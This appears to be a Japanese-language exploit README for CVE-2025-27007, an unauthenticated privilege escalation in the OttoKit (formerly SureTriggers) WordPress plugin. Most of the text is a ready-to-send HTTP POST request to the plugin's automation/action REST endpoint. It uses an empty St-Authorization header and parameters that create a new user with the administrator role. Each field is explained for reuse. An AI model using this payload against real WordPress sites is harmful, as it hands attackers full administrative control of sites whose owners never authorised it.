
CVE-2025-27007を悪用する、OttoKit(旧SureTriggers)WordPressプラグインにおける重大な認証不要の権限昇格脆弱性
CVE-2025-27007の悪用: WordPress用OttoKitプラグイン(旧SureTriggers)における不正な権限昇格の重大な脆弱性。このリポジトリでは、攻撃者が脆弱なWordPressサイトで管理者アカウントを作成する方法を説明します。
以下の状況でこの脆弱性が悪用される可能性があります:
以下のリクエストは、管理者アカウントを作成するために /wp-json/sure-triggers/v1/automation/action エンドポイントを対象としています:
POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1
Host: [target-site]
Content-Type: application/x-www-form-urlencoded
St-Authorization:
Content-Length: [length]
selected_options[user_name]=new_admin&selected_options[user_email][email protected]&selected_options[password]=StrongP@ssw0rd123&selected_options[role]=administrator&aintegration=WordPress&type_event=create_user_if_not_exists
Endpoint: POST /wp-json/sure-triggers/v1/automation/action
St-Authorization: (空): プラグインが未設定の場合、認証をバイパスします。
selected_options[user_name]: 新しいアカウントのユーザー名(例:new_admin)。
selected_options[user_email]: 新しいアカウントのメールアドレス(例:[email protected])。
selected_options[password]: 新しいアカウントのパスワード(例:StrongP@ssw0rd123)。
selected_options[role]: administratorに設定して完全な権限を付与。
type_event: create_user_if_not_existsに設定してユーザー作成をトリガー。